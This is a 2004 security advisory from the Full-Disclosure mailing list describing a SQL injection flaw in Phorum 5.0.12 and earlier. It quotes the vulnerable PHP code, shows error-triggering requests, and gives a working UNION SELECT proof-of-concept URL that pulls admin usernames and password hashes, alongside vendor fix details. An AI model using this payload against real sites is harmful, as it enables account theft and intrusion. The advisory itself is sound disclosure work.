{================================================================================} { [waraxe-2004-SA#037] } {================================================================================} { } { [ Sql injection bug in Phorum 5.0.12 and older versions ] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 11. November 2004 Location: Estonia, Tartu Web: http://www.waraxe.us/index.php?modname=sa&id=37 Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Phorum is a web based message board written in PHP. Phorum is designed with high-availability and visitor ease of use in mind. Features such as mailing list integration, easy customization and simple installation make Phorum a powerful add-in to any website. Homepage: http://phorum.org/ Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sql injection bug, discussed here, is present in all Phorum 5.0.x versions, up to and including 5.0.12 . It is fixed in new Phorum version - 5.0.13 . First of all - user must be logged in to successful exploit. Well, let's start with looking @ source code of the "follow.php", line 37: ---------------[ original code ]-------------------- if(isset($PHORUM["args"][1])){ $thread=$PHORUM["args"][1]; } elseif(isset($_POST["thread"])){ $thread=$_POST["thread"]; } if(empty($thread)) { phorum_redirect_by_url(phorum_get_url(PHORUM_LIST_URL)); exit(); } $message=phorum_db_get_message($thread); ---------------[/original code ]--------------------- So unsanitaized user-submitted variable from POST request will be delivered to function "phorum_db_get_message($thread)". Even more, "if/elseif" construction here is WITHOUT ending "else"... So if '$PHORUM["args"][1]' is not set and '$_POST["thread"]' is also not set, then variable "$thread" can be victim of the poisoning through $_GET or $_COOKIE arrays. Now, let's trace execution flow further - "include/db/mysql.php", line 642: ---------------[ original code ]-------------------- function phorum_db_get_message($message_id){ $PHORUM = $GLOBALS["PHORUM"]; $conn = phorum_db_mysql_connect(); $forum_id_check = ""; if (!empty($PHORUM["forum_id"])){ $forum_id_check = "(forum_id = {$PHORUM['forum_id']} OR forum_id=0) and"; } $sql = "select {$PHORUM['message_table']}.* from {$PHORUM['message_table']} where $forum_id_check message_id=$message_id"; $res = mysql_query($sql, $conn); if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql"); ---------------[/original code ]--------------------- And we can see problematic sql query: "... $forum_id_check message_id=$message_id"; No quotes, so sql injection must be exist. Let's try to provoke some error messages. We issue GET request like this: http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=waraxe ... and there is nice error popping up: "Unknown column 'waraxe' in 'where clause': select phorum_messages.* from phorum_messages where (forum_id = 1 OR forum_id=0) and message_id=waraxe" Same error message appears with using another method: http://localhost/phorum5012/follow.php?forum_id=1&thread=waraxe Further exploiting depends on mysql server version. If it's 4.x and supports UNION functionality, then arbitrary information from database can be retrieved by any currently logged in user, including unprivileged one. Proof of concept: ----------------[ real life exploit ]--------------- http://localhost/phorum5012/follow.php?forum_id=1&,f00=bar,1=-99%20UNION%20ALL%20SELECT%201%2c1%2c1%2c1%2c1%2cCONCAT(username%2c%27|%27%2cpassword)%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%2c1%20FROM%20phorum_users%20WHERE%20admin=1 ----------------[/real life exploit ]--------------- ... and you can see admin's uername and password's md5 hash. How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vendor contacted: 10. November 2004 Vendor response: 10. November 2004 New Phorum version 5.0.13 is available at http://phorum.org/downloads.php and has many security improvements, including fix against this sql injection bug. For discussion, help requests, etc - http://www.waraxe.us/forums.html See ya there! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to Raido Kerna, icenix and slimjim100! Tervitused - Heintz ja Maku! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Homepage: http://www.waraxe.us/ ---------------------------------- [ EOF ] ------------------------------------ __________________________________ Do you Yahoo!? Check out the new Yahoo! Front Page. www.yahoo.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html